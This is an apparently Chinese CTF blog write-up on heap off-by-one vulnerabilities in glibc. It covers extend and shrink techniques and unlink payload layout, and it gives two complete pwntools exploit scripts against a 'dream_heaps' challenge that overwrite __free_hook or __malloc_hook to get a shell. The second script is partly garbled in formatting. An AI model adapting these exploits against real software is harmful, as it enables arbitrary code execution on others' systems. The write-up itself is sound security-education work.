OFF_BY_ONE

start

做了挺多 off by one 有点感悟总结一下. 在此感谢楠姐@Keenan的关于shrink+unlink的思路 以及xman时张燕秒老师关于off_by_one的启蒙

漏洞原理

溢出漏洞,但是又非常有限制只有溢出一个字节,而在一般off by one情况下溢出的往往是null_byte:\x00. 本文仅讨论heap 上出现的off by one

导致漏洞的情况非常多,我在这里列出在ctf比赛中最常见的几种情况:

  • Case I:
    char *buf=malloc(0x88);
    unsigned int n=read(0,buf,0x88)
    buf[n]=0;
    
  • Case II:
    char *buf=malloc(size);
    read(0,buf,size)
    buf[size]=0
    
  • Case III #此处不只有溢出1字节可操作性也很大.
    unsigned int n=strlen(chunk_ptr);
    read(0,chunk_ptr,n);
    

    比较安全的话输入可以使用fgets虽然我做题目的时候非常讨厌看到它.

攻击原理

主要漏洞的成因是我们可以溢出一个字节,但是那个字节在ptmalloc中又非常的重要,涉及到了 chunksize ,inuse.所以我们主要从chunksizeinuse来设计我们的攻击方式

chunksize

chunksize的修改可以分为两种 extendshrink //图片是在xmanppt里面偷来的.

extend

要求比较高但是利用起来简单. 要求对溢出的那一个字节不为null byte这样就可以拓展chunk 常见的利用方式有两个free + modifymodify + free

free + modify

free+modify

  • 先free 进入unsorted bin 之后改变 size 以达到overlap的或者overflow的目的

modify + free

free+modify

改变现有chunk B的size free之后再malloc回来就可以控制其之后的chunk

shrink

shrink要求不是很高只要 有null byte off就可以实现攻击 主要对inuse方面的操作 涉及到了unlink

free+modify

free+modify

通用的攻击流程如上图通过控制pre_sizepre_inuse来欺骗程序完成unlink造成overlap 其实理解了也不是非常难感觉很奇妙的利用方法,非常好用,膜一波想出来的神仙.

shrink其实还有一种简单的做法在某些场景非常的好用.

条件:已知chunk_list地址或者已知heap地址 设置好前一个chunk内容为

p64(0x0)+p64(size-0x10)+p64(&ptr-0x18)+p64(&ptr-0x10)+...+p64(0xsize-0x10)

这样可以直接通过set pre_size来做unlink使得*ptr=&ptr-0x18

在某些可以edit的题目中非常好用没有edit的话比较难实现利用.

构造一般shrink

add(0x400)#0
add(0x88)#1
add(0x18)#2
free(0)
add(0x18)#0
edit(0x18,"A"*0x18)
add(0x88)#3
add(0x88)#4
free(3)
free(1)

Deam_heap

题目保护

[*] '/home/n132/Desktop/Dream_heap/dream_heaps'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

由于extend的攻击比较简单就不放例子了用以下的binary来作为off_by_one的例子 binary

题目漏洞挺多

  • index类型有问题可以通过某些构造打成任意地址写或者free
  • index上界不限导致多次创建后覆盖到了size区域导致溢出但是因为edit里的那行off by one使得比较难利用,之后也没有深究
  • edit 中存在 off_by_one

思路

  • 泄露比较直接可以通过free到unsortedbin中然后leak出来
  • off_by_one利用也比较直接因为没有开PIElist也存在bss上;像是上文所说两种方法都可以
    from pwn import *
    def cmd(c):
      p.sendlineafter("> ",str(c))
    def add(size,c):
      cmd(1)
      p.sendlineafter("eam?\n",str(size))
      p.sendafter("eam?\n",c)
    def free(idx):
      cmd(4)
      p.sendlineafter("te?\n",str(idx))
    def edit(idx,c):
      cmd(3)
      p.sendlineafter("ge?\n",str(idx))
      p.send(c)
    def show(idx):
      cmd(2)
      p.sendlineafter("ad?\n",str(idx))
    p=process('./dream_heaps')
    add(0x88,"A")#0
    add(0x88,"B")#1
    free(0)
    add(0x88,"A")#2
    show(2)
    base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd1b41-0x00007ffff7a0d000)
    log.warning(hex(base))
    libc=ELF("./dream_heaps").libc
    libc.address=base
    add(0xf8,"A")#3
    add(0x88,"/bin/sh")#4
    edit(1,p64(0)+p64(0x81)+p64(0x6020a8-0x18)+p64(0x6020a8-0x10)+p64(0)*12+p64(0x80))
    free(3)
    edit(1,p64(0)*2+p64(libc.symbols['__free_hook']))
    edit(0,p64(libc.symbols['system']))
    gdb.attach(p)
    p.interactive()
    

    shrink

    ```python from pwn import * def cmd(c): p.sendlineafter(“> “,str(c)) def add(size,c): cmd(1) p.sendlineafter(“eam?\n”,str(size)) p.sendafter(“eam?\n”,c) def free(idx): cmd(4) p.sendlineafter(“te?\n”,str(idx)) def edit(idx,c): cmd(3) p.sendlineafter(“ge?\n”,str(idx)) p.send(c) def show(idx): cmd(2) p.sendlineafter(“ad?\n”,str(idx)) #context.log_level=’debug’ p=process(‘./dream_heaps’) add(0x88,”A”)#0 add(0x88,”B”)#1 free(0) add(0x88,”A”)#2 show(2) base=u64(p.read(6).ljust(8,’\x00’))-(0x7ffff7dd1b41-0x00007ffff7a0d000) log.warning(hex(base)) libc=ELF(“./dream_heaps”).libc libc.address=base

add(0x3f0,”A”)#3 add(0x400,”A”)#4 add(0x288,”A”)#5 free(3) free(1) add(0x68,”A”)#6 edit(6,”A”) add(0x88,”B1”)#7 add(0x68,’B2’)#8 free(7) free(4) add(0x2d8,”A”)#9 free(8) add(0xa8,p64(0)17+p64(0x71)+p64(libc.symbols[‘__malloc_hook’]-35))#10 add(0x68,”A”)#11 one=base+0xf02a4 add(0x68,”\x00”19+p64(one))#12 gdb.attach(p) free(12) p.interactive() ```

可以看出在已知chunk_ptr地址时且有edit功能利用unlink可以降低攻击复杂度加快exp完成速度. 这里再次感谢楠姐@keenan

拓展阅读

storm